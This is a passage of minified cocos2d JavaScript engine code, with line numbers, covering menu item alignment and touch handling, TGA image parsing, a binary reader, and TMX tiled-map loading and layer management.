  975. b.ae.prototype.N.call(this,a,c,d)},R8:function(){this.VY(b.WG)},VY:function(a){var c=-a,d=this.s,e,f,g,h;if(d&&0<d.length){f=0;for(e=d.length;f<e;f++)c+=d[f].height*d[f].scaleY+a;var k=c/2;f=0;for(e=d.length;f<e;f++)h=d[f],g=h.height,c=h.scaleY,h.P(0,k-g*c/2),k-=g*c+a}},O8:function(){this.UY(b.WG)},UY:function(a){var c=-a,d=this.s,e,f,g,h;if(d&&0<d.length){e=0;for(f=d.length;e<f;e++)c+=d[e].width*d[e].scaleX+a;var k=-c/2;e=0;for(f=d.length;e<f;e++)h=d[e],c=h.scaleX,g=d[e].width,h.P(k+g*c/2,0),k+=
  976. g*c+a}},P8:function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var a=[],c=0;c<arguments.length;c++)a.push(arguments[c]);var d=-5,e=0,f=0,g=0,h,k,m,p=this.s;if(p&&0<p.length)for(c=0,m=p.length;c<m;c++)e>=a.length||!(h=a[e])||(k=p[c].height,f=f>=k||isNaN(k)?f:k,++g,g>=h&&(d+=f+5,f=g=0,++e));var r=b.D.R,s=h=f=e=0,u=0,d=d/2;if(p&&0<p.length)for(c=0,m=p.length;c<m;c++){var t=p[c];0==h&&(h=a[e],u=s=r.width/(1+h));k=t.xk();
  977. f=f>=k||isNaN(k)?f:k;t.P(u-r.width/2,d-k/2);u+=s;++g;g>=h&&(d-=f+5,f=h=g=0,++e)}},Q8:function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var a=[],c;for(c=0;c<arguments.length;c++)a.push(arguments[c]);var d=[],e=[],f=-10,g=-5,h=0,k=0,m=0,p,r,s,u,t=this.s;if(t&&0<t.length)for(c=0,s=t.length;c<s;c++)(r=t[c],h>=a.length||!(p=a[h]))||(u=r.width,k=k>=u||isNaN(u)?k:u,g+=r.height+5,++m,m>=p&&(d.push(k),e.push(g),f+=k+10,k=m=
  978. 0,g=-5,++h));g=b.D.R;p=k=h=0;var f=-f/2,v=0;if(t&&0<t.length)for(c=0,s=t.length;c<s;c++)r=t[c],0==p&&(p=a[h],v=e[h]),u=r.jh(),k=k>=u||isNaN(u)?k:u,r.P(f+d[h]/2,v-g.height/2),v-=r.height+10,++m,m>=p&&(f+=k+5,k=p=m=0,++h)},removeChild:function(a,c){null!=a&&(a instanceof b.Dc?(this.Rc==a&&(this.Rc=null),b.q.prototype.removeChild.call(this,a,c)):b.log("cc.Menu.removeChild():Menu only supports MenuItem objects as children"))},cX:function(a,c){var d=c.Wc;if(d.oe!=b.vq||!d.zc||!d.enabled)return!1;for(var e=
  979. d.parent;null!=e;e=e.parent)if(!e.zc)return!1;d.Rc=d.GK(a);return d.Rc?(d.oe=b.uq,d.Rc.selected(),!0):!1},eX:function(a,c){var d=c.Wc;d.oe!==b.uq?b.log("cc.Menu.onTouchEnded(): invalid state"):(d.Rc&&(d.Rc.Sh(),d.Rc.Ds()),d.oe=b.vq)},dX:function(a,c){var d=c.Wc;d.oe!==b.uq?b.log("cc.Menu.onTouchCancelled(): invalid state"):(this.Rc&&d.Rc.Sh(),d.oe=b.vq)},gX:function(a,c){var d=c.Wc;if(d.oe!==b.uq)b.log("cc.Menu.onTouchMoved(): invalid state");else{var e=d.GK(a);e!=d.Rc&&(d.Rc&&d.Rc.Sh(),d.Rc=e,d.Rc&&
  980. d.Rc.selected())}},vb:function(){this.oe==b.uq&&(this.Rc&&(this.Rc.Sh(),this.Rc=null),this.oe=b.vq);b.q.prototype.vb.call(this)},Jd:function(){},ue:function(){return!1},GK:function(a){a=a.Ts();var c=this.s,d;if(c&&0<c.length)for(var e=0;e<c.length;e++)if(d=c[e],d.zc&&d.isEnabled()){var f=d.wE(a),g=d.rect();g.x=0;g.y=0;if(b.HO(g,f))return d}return null}});n=b.wl.prototype;
  981. b.wl.create=function(a){var c=arguments.length;0<c&&null==arguments[c-1]&&b.log("parameters should not be ending with null in Javascript");return 0==c?new b.wl:1==c?new b.wl(a):new b.wl(Array.prototype.slice.call(arguments,0))};b.k7=0;b.g7=1;b.j7=2;b.h7=3;b.i7=4;b.f7=5;b.Uja=function(a,c,d){var e=2;if(e+1>c)return!1;a=new b.rQ(a);a.Fy(e);d.type=a.S();e+=10;if(e+4+1>c)return!1;a.Fy(e);d.width=a.E2();d.height=a.D2();d.pixelDepth=a.S();if(e+5+1>c)return!1;c=a.S();d.XM=0;c&32&&(d.XM=1);return!0};b.Vja=function(a,c,d){var e,f;e=0|d.pixelDepth/2;f=d.height*d.width*e;if(18+f>c)return!1;d.wf=b.Yu(a,18,18+f);if(3<=e)for(a=0;a<f;a+=e)c=d.wf[a],d.wf[a]=d.wf[a+2],d.wf[a+2]=c;return!0};
  982. b.Xja=function(a){var c,d;if(8!==a.pixelDepth){var e=a.pixelDepth/8,f=new Uint8Array(a.height*a.width);if(null!==f){for(d=c=0;d<a.width*a.height;c+=e,d++)f[d]=0.3*a.wf[c]+0.59*a.wf[c+1]+0.11*a.wf[c+2];a.pixelDepth=8;a.type=3;a.wf=f}}};b.Sja=function(a){a&&(a.wf=null)};
  983. b.Wja=function(a,c,d){var e,f,g,h=0,k=0,m=0,p=[],r=0,s=18;e=d.pixelDepth/8;f=d.height*d.width;for(g=0;g<f;g++){if(0!=r)r--,k=0!=m;else{if(s+1>c)break;r=a[s];s+=1;(m=r&128)&&(r-=128);k=0}if(!k){if(s+e>c)break;p=b.Yu(a,s,s+e);s+=e;3<=e&&(k=p[0],p[0]=p[2],p[2]=k)}for(k=0;k<e;k++)d.wf[h+k]=p[k];h+=e}return!0};b.Tja=function(a){for(var c=a.pixelDepth/8*a.width,d=0;d<a.height/2;d++){var e=b.Yu(a.wf,d*c,d*c+c);b.TI(b.Yu(a.wf,(a.height-(d+1))*c,c),a.wf,d*c);b.TI(e,a.wf,(a.height-(d+1))*c)}a.XM=0};
  984. b.Yu=function(a,c,d){return a instanceof Array?a.slice(c,d):a.subarray(c,d)};b.TI=function(a,c,d){for(var e=0;e<a.length;e++)c[d+e]=a[e]};
  985. b.rQ=b.ja.extend({An:null,la:0,ctor:function(a){this.An=a},Aha:function(a){this.An=a;this.la=0},baa:function(){return this.An},cV:function(a){if(!(this.la+Math.ceil(a/8)<this.Pn.length))throw Error("Index out of bound");},rV:function(a,c){var d=a+c+1,e=d>>3;this.cV(d);var d=Math.pow(2,c-1)-1,f=this.KC(a+c,1,e),g=this.KC(a,c,e),h=0,k=2,m=0;do for(var p=this.pw(++m,e),r=a%8||8,s=1<<r;s>>=1;)p&s&&(h+=1/k),k*=2;while(a-=r);this.la+=e;return g==(d<<1)+1?h?NaN:f?-Infinity:Infinity:(1+-2*f)*(g||h?g?Math.pow(2,
  986. g-d)*(1+h):Math.pow(2,-d+1)*h:0)},pw:function(a,c){return this.Pn[this.la+c-a-1]},tv:function(a,c){var d=this.KC(0,a,a/8),e=Math.pow(2,a);this.la+=a/8;return c&&d>=e/2?d-e:d},oY:function(a,c){for(++c;--c;a=1073741824==((a%=2147483648)&1073741824)?2*a:2*(a-1073741824)+2147483648);return a},KC:function(a,c,d){var e=(a+c)%8,f=a%8,g=d-(a>>3)-1;a=d+(-(a+c)>>3);var h=g-a;c=this.pw(g,d)>>f&(1<<(h?8-f:c))-1;for(h&&e&&(c+=(this.pw(a++,d)&(1<<e)-1)<<(h--<<3)-f);h;)c+=this.oY(this.pw(a++,d),(h--<<3)-f);return c},
  987. Bga:function(){return this.tv(32,!0)},D2:function(){return this.tv(32,!1)},Dga:function(){return this.rV(23,8)},Cga:function(){return this.tv(16,!0)},E2:function(){return this.tv(16,!1)},S:function(){var a=this.Pn[this.la];this.la+=1;return a},yga:function(a,c){return this.An instanceof Array?this.An.slice(a,c):this.An.subarray(a,c)},Fy:function(a){this.la=a},jN:function(){return this.la}});b.Lu=0;b.Ju=1;b.Ku=2;
  988. b.cA=b.ia.extend({Kb:null,HF:null,sp:null,Yc:null,Jb:null,vj:null,ub:"TMXTiledMap",ctor:function(a,c){b.q.prototype.ctor.call(this);this.Yc=O(0,0);this.Jb=O(0,0);void 0!==c?this.nF(a,c):void 0!==a&&this.mF(a)},SE:function(){return O(this.Yc.width,this.Yc.height)},jP:function(a){this.Yc.width=a.width;this.Yc.height=a.height},MB:function(){return this.Yc.width},dD:function(a){this.Yc.width=a},LB:function(){return this.Yc.height},cD:function(a){this.Yc.height=a},gp:function(){return O(this.Jb.width,this.Jb.height)},
  989. yP:function(a){this.Jb.width=a.width;this.Jb.height=a.height},zr:function(){return this.Jb.width},cs:function(a){this.Jb.width=a},yr:function(){return this.Jb.height},bs:function(a){this.Jb.height=a},hba:function(){return this.HF},oia:function(a){this.HF=a},iN:function(){return this.sp},kP:function(a){this.sp=a},rx:function(){return this.Kb},Gy:function(a){this.Kb=a},mF:function(a){if(!a||0==a.length)throw"cc.TMXTiledMap.initWithTMXFile(): tmxFile should be non-null or non-empty string.";this.height=
  990. this.width=0;a=b.Jq.create(a);if(!a)return!1;var c=a.om;c&&0!==c.length||b.log("cc.TMXTiledMap.initWithTMXFile(): Map not found. Please check the filename.");this.dJ(a);return!0},nF:function(a,c){this.height=this.width=0;var d=b.Jq.create(a,c),e=d.om;e&&0!==e.length||b.log("cc.TMXTiledMap.initWithXML(): Map not found. Please check the filename.");this.dJ(d);return!0},dJ:function(a){this.Yc=a.SE();this.Jb=a.gp();this.HF=a.orientation;this.sp=a.iN();this.Kb=a.Kb;this.vj=a.vj;var c=0,d=a.je;if(d)for(var e=
  991. null,f=0,g=d.length;f<g;f++)(e=d[f])&&e.visible&&(e=this.mX(e,a),this.N(e,c,c),this.width=Math.max(this.width,e.width),this.height=Math.max(this.height,e.height),c++)},S8:function(){for(var a=[],c=this.s,d=0,e=c.length;d<e;d++){var f=c[d];f&&f instanceof b.Iq&&a.push(f)}return a},Yaa:function(a){if(!a||0===a.length)throw"cc.TMXTiledMap.getLayer(): layerName should be non-null or non-empty string.";for(var c=this.s,d=0;d<c.length;d++){var e=c[d];if(e&&e.$x==a)return e}return null},qba:function(a){if(!a||
  992. 0===a.length)throw"cc.TMXTiledMap.getObjectGroup(): groupName should be non-null or non-empty string.";if(this.sp)for(var c=0;c<this.sp.length;c++){var d=this.sp[c];if(d&&d.Ys==a)return d}return null},UE:function(a){return this.Kb[a.toString()]},uga:function(a){return this.vj[a]},mX:function(a,c){var d=this.AY(a,c),d=b.Iq.create(d,a,c);a.uO=!1;d.e4();return d},AY:function(a,c){var d=a.ra,e=c.om;if(e)for(var f=e.length-1;0<=f;f--){var g=e[f];if(g)for(var h=0;h<d.height;h++)for(var k=0;k<d.width;k++){var m=
  993. a.Le[k+d.width*h];if(0!=m&&(m&b.dA)>>>0>=g.Im)return g}}b.log("cocos2d: Warning: TMX Layer "+a.name+" has no tiles");return null}});n=b.cA.prototype;b.f(n,"mapWidth",n.MB,n.dD);b.f(n,"mapHeight",n.LB,n.cD);b.f(n,"tileWidth",n.zr,n.cs);b.f(n,"tileHeight",n.yr,n.bs);b.cA.create=function(a,c){return new b.cA(a,c)};b.ET=0;b.m7=1;b.l7=2;b.o7=3;b.n7=4;b.p7=5;b.Kq=2147483648;b.Lq=1073741824;b.$H=536870912;b.aI=(b.Kq|b.Lq|b.$H)>>>0;b.dA=~b.aI>>>0;b.El=b.ja.extend({Kb:null,name:"",ra:null,Le:null,visible:null,Ud:null,uO:!0,Zl:1E5,Yl:0,offset:null,ctor:function(){this.Kb=[];this.name="";this.ra=null;this.Le=[];this.visible=!0;this.Ud=0;this.uO=!0;this.Zl=1E5;this.Yl=0;this.offset=N(0,0)},rx:function(){return this.Kb},Gy:function(a){this.Kb=a}});
  994. b.DT=b.ja.extend({name:"",Im:0,Jb:null,Jt:0,margin:0,EP:"",Dx:null,ctor:function(){this.Jb=O(0,0);this.Dx=O(0,0)},yt:function(a){var c=Q(0,0,0,0);c.width=this.Jb.width;c.height=this.Jb.height;a&=b.dA;a-=parseInt(this.Im,10);var d=parseInt((this.Dx.width-2*this.margin+this.Jt)/(this.Jb.width+this.Jt),10);c.x=parseInt(a%d*(this.Jb.width+this.Jt)+this.margin,10);c.y=parseInt(parseInt(a/d,10)*(this.Jb.height+this.Jt)+this.margin,10);return c}});
  995. b.Jq=b.Fu.extend({Kb:null,orientation:null,parentElement:null,ny:null,Zx:0,zG:!1,Np:null,xE:null,ew:null,Yc:null,Jb:null,je:null,om:null,vj:null,sw:"",lJ:0,ctor:function(a,c){b.Fu.prototype.ctor.apply(this);this.Yc=O(0,0);this.Jb=O(0,0);this.je=[];this.om=[];this.ew=[];this.Kb=[];this.vj={};this.lJ=0;void 0!==c?this.nF(a,c):void 0!==a&&this.mF(a)},wba:function(){return this.orientation},yia:function(a){this.orientation=a},SE:function(){return O(this.Yc.width,this.Yc.height)},jP:function(a){this.Yc.width=
  996. a.width;this.Yc.height=a.height},MB:function(){return this.Yc.width},dD:function(a){this.Yc.width=a},LB:function(){return this.Yc.height},cD:function(a){this.Yc.height=a},gp:function(){return O(this.Jb.width,this.Jb.height)},yP:function(a){this.Jb.width=a.width;this.Jb.height=a.height},zr:function(){return this.Jb.width},cs:function(a){this.Jb.width=a},yr:function(){return this.Jb.height},bs:function(a){this.Jb.height=a},cba:function(){return this.je},w3:function(a){this.je.push(a)},oca:function(){return this.om},
  997. V3:function(a){this.om.push(a)},iN:function(){return this.ew},kP:function(a){this.ew.push(a)},Bba:function(){return this.parentElement},Dia:function(a){this.parentElement=a},Cba:function(){return this.ny},Eia:function(a){this.ny=a},Zaa:function(){return this.Zx},hia:function(a){this.Zx=a},eca:function(){return this.zG},Via:function(a){this.zG=a},rx:function(){return this.Kb},Gy:function(a){this.Kb=a},mF:function(a){this.yK(a,null);return this.OF(a)},nF:function(a,c){this.yK(null,c);return this.m2(a)},
  998. OF:function(a,c){var d=(c=c||!1)?a:b.V.Gd(a);if(!d)throw"Please load the resource first : "+a;var e,f,d=this.rC(d).documentElement;e=d.getAttribute("version");f=d.getAttribute("orientation");if("map"==d.nodeName&&("1.0"!=e&&null!==e&&b.log("cocos2d: TMXFormat: Unsupported TMX version:"+e),"orthogonal"==f?this.orientation=b.Lu:"isometric"==f?this.orientation=b.Ku:"hexagonal"==f?this.orientation=b.Ju:null!==f&&b.log("cocos2d: TMXFomat: Unsupported orientation:"+f),e=O(0,0),e.width=parseFloat(d.getAttribute("width")),
  999. e.height=parseFloat(d.getAttribute("height")),this.jP(e),e=O(0,0),e.width=parseFloat(d.getAttribute("tilewidth")),e.height=parseFloat(d.getAttribute("tileheight")),this.yP(e),f=d.querySelectorAll("map \x3e properties \x3e property"))){var g={};for(e=0;e<f.length;e++)g[f[e].getAttribute("name")]=f[e].getAttribute("value");this.Kb=g}g=d.getElementsByTagName("tileset");"map"!==d.nodeName&&(g=[],g.push(d));for(e=0;e<g.length;e++){f=g[e];var h=f.getAttribute("source");if(h)f=c?b.path.join(this.sw,h):
  1000. b.path.Po(a,h),this.OF(f);else{h=new b.DT;h.name=f.getAttribute("name")||"";h.Im=parseInt(f.getAttribute("firstgid"))||0;h.Jt=parseInt(f.getAttribute("spacing"))||0;h.margin=parseInt(f.getAttribute("margin"))||0;var k=O(0,0);k.width=parseFloat(f.getAttribute("tilewidth"));k.height=parseFloat(f.getAttribute("tileheight"));h.Jb=k;var k=f.getElementsByTagName("image")[0].getAttribute("source"),m=-1;this.Np&&(m=this.Np.lastIndexOf("/"));h.EP=-1!==m?this.Np.substr(0,m+1)+k:this.sw+(this.sw?"/":"")+k;this.V3(h);
  1001. if(k=f.getElementsByTagName("tile"))for(m=0;m<k.length;m++){f=k[m];this.ny=parseInt(h.Im)+parseInt(f.getAttribute("id")||0);var p=f.querySelectorAll("properties \x3e property");if(p){var r={};for(f=0;f<p.length;f++){var s=p[f].getAttribute("name");r[s]=p[f].getAttribute("value")}this.vj[this.ny]=r}}}}if(g=d.getElementsByTagName("layer"))for(e=0;e<g.length;e++){k=g[e];m=k.getElementsByTagName("data")[0];h=new b.El;h.name=k.getAttribute("name");f=O(0,0);f.width=parseFloat(k.getAttribute("width"));f.height=
  1002. parseFloat(k.getAttribute("height"));h.ra=f;f=k.getAttribute("visible");h.visible="0"!=f;f=k.getAttribute("opacity")||1;h.Ud=f?parseInt(255*parseFloat(f)):255;h.offset=N(parseFloat(k.getAttribute("x"))||0,parseFloat(k.getAttribute("y"))||0);p="";for(f=0;f<m.childNodes.length;f++)p+=m.childNodes[f].nodeValue;p=p.trim();f=m.getAttribute("compression");r=m.getAttribute("encoding");if(f&&"gzip"!==f&&"zlib"!==f)return b.log("cc.TMXMapInfo.parseXMLFile(): unsupported compression method"),null;switch(f){case "gzip":h.Le=
  1003. b.UP(p,4);break;case "zlib":f=new Zlib.nn(b.ka.ol.DM(p,1));h.Le=b.G4(f.EM());break;case null:case "":if("base64"==r)h.Le=b.ka.ol.DM(p,4);else if("csv"===r)for(h.Le=[],f=p.split(","),m=0;m<f.length;m++)h.Le.push(parseInt(f[m]));else for(f=m.getElementsByTagName("tile"),h.Le=[],m=0;m<f.length;m++)h.Le.push(parseInt(f[m].getAttribute("gid")));break;default:this.Zx==b.El.IG&&b.log("cc.TMXMapInfo.parseXMLFile(): Only base64 and/or gzip/zlib maps are supported")}if(k=k.querySelectorAll("properties \x3e property")){m=
  1004. {};for(f=0;f<k.length;f++)m[k[f].getAttribute("name")]=k[f].getAttribute("value");h.Kb=m}this.w3(h)}if(g=d.getElementsByTagName("objectgroup"))for(e=0;e<g.length;e++){k=g[e];h=new b.CT;h.Ys=k.getAttribute("name");h.H3(N(parseFloat(k.getAttribute("x"))*this.gp().width||0,parseFloat(k.getAttribute("y"))*this.gp().height||0));if(m=k.querySelectorAll("objectgroup \x3e properties \x3e property"))for(f=0;f<m.length;f++)p={},p[m[f].getAttribute("name")]=m[f].getAttribute("value"),h.Kb=p;if(k=k.querySelectorAll("object"))for(f=
  1005. 0;f<k.length;f++){p=k[f];m={};m.name=p.getAttribute("name")||"";m.type=p.getAttribute("type")||"";m.x=parseInt(p.getAttribute("x")||0)+h.so.x;r=parseInt(p.getAttribute("y")||0)+h.so.y;m.width=parseInt(p.getAttribute("width"))||0;m.height=parseInt(p.getAttribute("height"))||0;m.y=parseInt(this.SE().height*this.gp().height)-r-m.height;if(r=p.querySelectorAll("properties \x3e property"))for(s=0;s<r.length;s++)m[r[s].getAttribute("name")]=r[s].getAttribute("value");(r=p.querySelectorAll("polygon"))&&
  1006. 0<r.length&&(r=r[0].getAttribute("points"))&&(m.polygonPoints=this.XK(r));(p=p.querySelectorAll("polyline"))&&0<p.length&&(p=p[0].getAttribute("points"))&&(m.polylinePoints=this.XK(p));h.C3(m)}this.kP(h)}return d},XK:function(a){if(!a)return null;var c=[];a=a.split(" ");for(var d=0;d<a.length;d++){var e=a[d].split(",");c.push({x:e[0],y:e[1]})}return c},m2:function(a){return this.OF(a,!0)},lca:function(){return this.vj},cja:function(a){this.vj.push(a)},raa:function(){return this.xE},Nha:function(a){this.xE=
  1007. a},gca:function(){return this.Np},Yia:function(a){this.Np=a},yK:function(a,c){this.om.length=0;this.je.length=0;this.Np=a;c&&(this.sw=c);this.ew.length=0;this.Kb.length=0;this.vj.length=0;this.xE="";this.zG=!1;this.Zx=b.El.IG;this.parentElement=b.ET;this.lJ=0}});n=b.Jq.prototype;b.f(n,"mapWidth",n.MB,n.dD);b.f(n,"mapHeight",n.LB,n.cD);b.f(n,"tileWidth",n.zr,n.cs);b.f(n,"tileHeight",n.yr,n.bs);b.Jq.create=function(a,c){return new b.Jq(a,c)};b.V.Kj(["tmx","tsx"],b.WL);b.El.IG=1;b.El.i5=2;b.El.j5=4;
  1008. b.El.k5=8;b.CT=b.ja.extend({Kb:null,Ys:"",so:null,ro:null,ctor:function(){this.Ys="";this.so=N(0,0);this.Kb=[];this.ro=[]},Gba:function(){return this.so},H3:function(a){this.so.x=a.x;this.so.y=a.y},rx:function(){return this.Kb},Gy:function(a){this.Kb.push(a)},Taa:function(){return this.Ys.toString()},eia:function(a){this.Ys=a},vga:function(a){return this.Kb[a]},Kfa:function(a){if(this.ro&&0<this.ro.length)for(var c=this.ro,d=0,e=c.length;d<e;d++){var f=c[d].name;if(f&&f==a)return c[d]}return null},rba:function(){return this.ro},
  1009. C3:function(a){this.ro.push(a)}});b.Iq=b.ef.extend({Md:null,mg:null,op:null,Kb:null,$x:"",ra:null,wc:null,Ud:255,Zl:null,Yl:null,VD:null,PD:null,L7:null,uh:null,Pd:null,hh:null,ce:null,Ce:null,aB:null,Fw:null,Gw:null,Pk:0,BD:0,RK:1E7,ub:"TMXLayer",ctor:function(a,c,d){b.ef.prototype.ctor.call(this);this.Bd=[];this.ra=O(0,0);this.wc=O(0,0);if(b.A===b.Ea){var e=b.Za,f=b.Ob("canvas");f.width=e.width;f.height=e.height;this.ce=f;this.Ce=this.ce.getContext("2d");var g=new b.da;g.rd(f);g.Nb();this.aB=g;this.width=e.width;this.height=e.height;
  1010. this.Wi=this}void 0!==d&&this.Y0(a,c,d)},$d:function(a,c){var d=this.O;b.q.prototype.$d.call(this,a,c);if(b.A===b.Ea){var e=this.ce,f=b.rb();e.width=0|1.5*d.width*f;e.height=0|1.5*d.height*f;this.Ce.translate(0,e.height);d=this.aB.O;d.width=e.width;d.height=e.height;d=e.width*e.height;if(d>this.RK){this.Fw||(this.Fw=[]);this.Gw||(this.Gw=[]);this.Pk=Math.ceil(d/this.RK);d=this.Fw;for(f=0;f<this.Pk;f++){d[f]||(d[f]=document.createElement("canvas"),this.Gw[f]=d[f].getContext("2d"));var g=d[f];g.width=
  1011. this.BD=Math.round(e.width/this.Pk);g.height=e.height}for(f=this.Pk;f<d.length;f++)g.width=0,g.height=0}else this.Pk=0}},Qa:null,xr:function(){return this.aB},T:null,tm:function(a){var c=a||b.k;if(this.zc){c.save();this.transform(a);var d,e=this.s;if(this.Ag){var f=b.view;f.CL();var g=this.Ce,h=this.ce;g.clearRect(0,0,h.width,-h.height);g.save();g.translate(this.kb.x,-this.kb.y);if(e)for(this.Tc(),d=0;d<e.length;d++)e[d]&&e[d].T(g);g.restore();if(0<this.Pk)for(e=this.BD,g=h.height,d=0;d<this.Pk;d++)this.Gw[d].drawImage(h,
  1012. d*e,0,e,g,0,0,e,g);f.pL();this.Ag=!1}this.Z(a);c.restore()}},Z:null,Ql:function(a){a=a||b.k;var c=0|-this.kb.x,d=0|-this.kb.y,e=b.view,f=this.ce;if(f){var g=this.Pk,h=f.height*e.Ta;if(0<g)for(var f=this.Fw,k=0;k<g;k++){var m=f[k];a.drawImage(f[k],0,0,m.width,m.height,c+k*this.BD,-(d+h),m.width*e.pa,h)}else a.drawImage(f,0,0,f.width,f.height,c,-(d+h),f.width*e.pa,h)}},bba:function(){return O(this.ra.width,this.ra.height)},kia:function(a){this.ra.width=a.width;this.ra.height=a.height},ZV:function(){return this.ra.width},
  1013. SX:function(a){this.ra.width=a},YV:function(){return this.ra.height},RX:function(a){this.ra.height=a},iba:function(){return O(this.wc.width,this.wc.height)},pia:function(a){this.wc.width=a.width;this.wc.height=a.height},zr:function(){return this.wc.width},cs:function(a){this.wc.width=a},yr:function(){return this.wc.height},bs:function(a){this.wc.height=a},mca:function(){return this.Md},dja:function(a){this.Md=a},nca:function(){return this.mg},eja:function(a){this.mg=a},aba:function(){return this.op},
  1014. jia:function(a){this.op=a},rx:function(){return this.Kb},Gy:function(a){this.Kb=a},Y0:function(a,c,d){var e=c.ra,f=0.35*parseInt(e.width*e.height)+1,g;a&&(g=b.Da.Bc(a.EP));return this.ta(g,f)?(this.$x=c.name,this.ra=e,this.Md=c.Le,this.Zl=c.Zl,this.Yl=c.Yl,this.Ud=c.Ud,this.Kb=c.Kb,this.hh=b.D.hh,this.mg=a,this.wc=d.gp(),this.op=d.orientation,a=this.VU(c.offset),this.P(b.RF(a)),this.Pd=[],this.$d(b.DP(O(this.ra.width*this.wc.width,this.ra.height*this.wc.height))),this.PD=!1,this.VD=0,!0):!1},Kga:function(){this.Md&&
  1015. (this.Md=null);this.Pd&&(this.Pd=null)},kca:function(a,c){if(!a)throw"cc.TMXLayer.getTileAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileAt(): invalid position";if(!this.Md||!this.Pd)return b.log("cc.TMXLayer.getTileAt(): TMXLayer: the tiles map has been released"),null;var d=null,e=this.ZE(a);if(0===e)return d;var f=0|a.x+a.y*this.ra.width,d=this.Ih(f);d||(e=this.mg.yt(e),e=b.Jj(e),d=new b.Q,d.ta(this.texture,
  1016. e),d.batchNode=this,d.P(this.qx(a)),d.vertexZ=this.eM(a),d.anchorX=0,d.anchorY=0,d.opacity=this.Ud,e=this.PA(f),this.QY(d,e,f));return d},ZE:function(a,c){if(!a)throw"cc.TMXLayer.getTileGIDAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileGIDAt(): invalid position";return this.Md&&this.Pd?(this.Md[0|a.x+a.y*this.ra.width]&b.dA)>>>0:(b.log("cc.TMXLayer.getTileGIDAt(): TMXLayer: the tiles map has been released"),null)},
  1017. y0:function(a,c){if(!a)throw"cc.TMXLayer.getTileFlagsAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileFlagsAt(): invalid position";return this.Md&&this.Pd?(this.Md[0|a.x+a.y*this.ra.width]&b.aI)>>>0:(b.log("cc.TMXLayer.getTileFlagsAt(): TMXLayer: the tiles map has been released"),null)},bja:function(a,c,d,e){if(!c)throw"cc.TMXLayer.setTileGID(): pos should be non-null";void 0!==e?c=N(c,d):e=d;if(c.x>=this.ra.width||
  1018. c.y>=this.ra.height||0>c.x||0>c.y)throw"cc.TMXLayer.setTileGID(): invalid position";if(this.Md&&this.Pd)if(0!==a&&a<this.mg.Im)b.log("cc.TMXLayer.setTileGID(): invalid gid:"+a);else{e=e||0;this.wh();d=this.y0(c);var f=this.ZE(c);if(f!=a||d!=e)if(d=(a|e)>>>0,0===a)this.O2(c);else if(0===f)this.IW(d,c);else{var f=c.x+c.y*this.ra.width,g=this.Ih(f);g?(a=this.mg.yt(a),a=b.Jj(a),g.hb(a,!1),null!=e&&this.yw(g,c,d),this.Md[f]=d):this.MY(d,c)}}else b.log("cc.TMXLayer.setTileGID(): TMXLayer: the tiles map has been released")},
  1019. O2:function(a,c){if(!a)throw"cc.TMXLayer.removeTileAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.removeTileAt(): invalid position";if(!this.Md||!this.Pd)b.log("cc.TMXLayer.removeTileAt(): TMXLayer: the tiles map has been released");else if(0!==this.ZE(a)){b.A===b.Ea&&this.wh();var d=0|a.x+a.y*this.ra.width,e=this.PA(d);this.Md[d]=0;this.Pd.splice(e,1);if(d=this.Ih(d))b.ef.prototype.removeChild.call(this,d,!0);else if(b.A===
  1020. b.$&&this.textureAtlas.OO(e),this.s)for(var d=this.s,f=0,g=d.length;f<g;f++){var h=d[f];if(h){var k=h.atlasIndex;k>=e&&(h.atlasIndex=k-1)}}}},qx:function(a,c){void 0!==c&&(a=N(a,c));var d=N(0,0);switch(this.op){case b.Lu:d=this.sX(a);break;case b.Ku:d=this.rX(a);break;case b.Ju:d=this.qX(a)}return b.RF(d)},UE:function(a){return this.Kb[a]},e4:function(){b.A===b.Ea?this.mg.Dx=this.ke.O:(this.mg.Dx=this.textureAtlas.texture.O,this.textureAtlas.texture.cG());this.lX();b.A===b.Ea&&this.wh();for(var a=
  1021. this.ra.height,c=this.ra.width,d=0;d<a;d++)for(var e=0;e<c;e++){var f=this.Md[e+c*d];0!==f&&(this.OU(f,N(e,d)),this.Zl=Math.min(f,this.Zl),this.Yl=Math.max(f,this.Yl))}this.Yl>=this.mg.Im&&this.Zl>=this.mg.Im||b.log("cocos2d:TMX: Only 1 tileset per layer is supported")},N:function(){b.log("addChild: is not supported on cc.TMXLayer. Instead use setTileGID or tileAt.")},removeChild:function(a,c){if(a)if(-1===this.s.indexOf(a))b.log("cc.TMXLayer.removeChild(): Tile does not belong to TMXLayer");else{b.A===
  1022. b.Ea&&this.wh();var d=a.atlasIndex;this.Md[this.Pd[d]]=0;this.Pd.splice(d,1);b.ef.prototype.removeChild.call(this,a,c)}},$aa:function(){return this.$x},iia:function(a){this.$x=a},rX:function(a){return N(this.wc.width/2*(this.ra.width+a.x-a.y-1),this.wc.height/2*(2*this.ra.height-a.x-a.y-2))},sX:function(a){return N(a.x*this.wc.width,(this.ra.height-a.y-1)*this.wc.height)},qX:function(a){return N(a.x*this.wc.width*3/4,(this.ra.height-a.y-1)*this.wc.height+(1==a.x%2?-this.wc.height/2:0))},VU:function(a){var c=
  1023. N(0,0);switch(this.op){case b.Lu:c=N(a.x*this.wc.width,-a.y*this.wc.height);break;case b.Ku:c=N(this.wc.width/2*(a.x-a.y),this.wc.height/2*(-a.x-a.y));break;case b.Ju:0===a.x&&0===a.y||b.log("offset for hexagonal map not implemented yet")}return c},OU:function(a,c){var d=this.mg.yt(a),d=b.Jj(d),e=0|c.x+c.y*this.ra.width,d=this.SC(d);this.yw(d,c,a);var f=this.Pd.length;this.Kx(d,f);this.Pd.splice(f,0,e);return d},IW:function(a,c){var d=this.mg.yt(a),d=b.Jj(d),e=0|c.x+c.y*this.ra.width,d=this.SC(d);
